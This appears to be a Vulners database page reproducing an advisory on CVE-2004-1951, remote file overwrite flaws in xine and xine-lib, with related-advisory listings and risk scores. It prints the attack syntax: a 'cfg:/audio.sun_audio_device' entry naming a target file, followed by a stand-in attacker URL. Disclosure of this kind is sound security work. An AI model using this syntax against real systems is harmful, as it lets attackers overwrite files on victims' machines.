Xine 0.9.x and Xine-Lib 1 - Multiple Remote File Overwrite Vulnerabilities
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
 | CVE-2004-1951 | 10 May 200504:00 | – | cve |
 | CVE-2004-1951 | 10 May 200504:00 | – | cvelist |
 | CVE-2004-1951 | 10 May 200504:00 | – | debiancve |
 | EUVD-2004-1943 | 7 Oct 202500:30 | – | euvd |
 | FreeBSD : xine-lib arbitrary file overwrite (96) | 6 Jul 200400:00 | – | nessus |
| FreeBSD : xine-lib arbitrary file overwrite (e50b04e8-9c55-11d8-9366-0020ed76ef5a) | 23 Apr 200900:00 | – | nessus |
| GLSA-200404-20 : Multiple vulnerabilities in xine | 30 Aug 200400:00 | – | nessus |
 | Multiple vulnerabilities in xine | 27 Apr 200400:00 | – | gentoo |
 | CVE-2004-1951 | 31 Dec 200405:00 | – | nvd |
 | FreeBSD Ports: libxine | 4 Sep 200800:00 | – | openvas |
10
source: https://www.securityfocus.com/bid/10193/info
It has been reported that the xine media player and the xine media library are affected by multiple remote file overwrite vulnerabilities. This is due to a design error that allows various media resource file configurations to write to arbitrary files.
It is possible to set these configuration parameters to write to arbitrary files on the affected system. It should be noted that this issue, as it is currently known, only affects Sun based systems as well as those using the DXR3 or Hollywood+ MPEG decoder audio card. It has been conjectured however that similar configuration parameters exists that affect other systems.
The configuration syntax:
"cfg:/audio.sun_audio_device:targetFile"
If followed by the entry:
"http://www.example.com/attackerSpecifiedFile"
Will cause the attacker specified file to be written to the target file.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
24 Nov 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.08098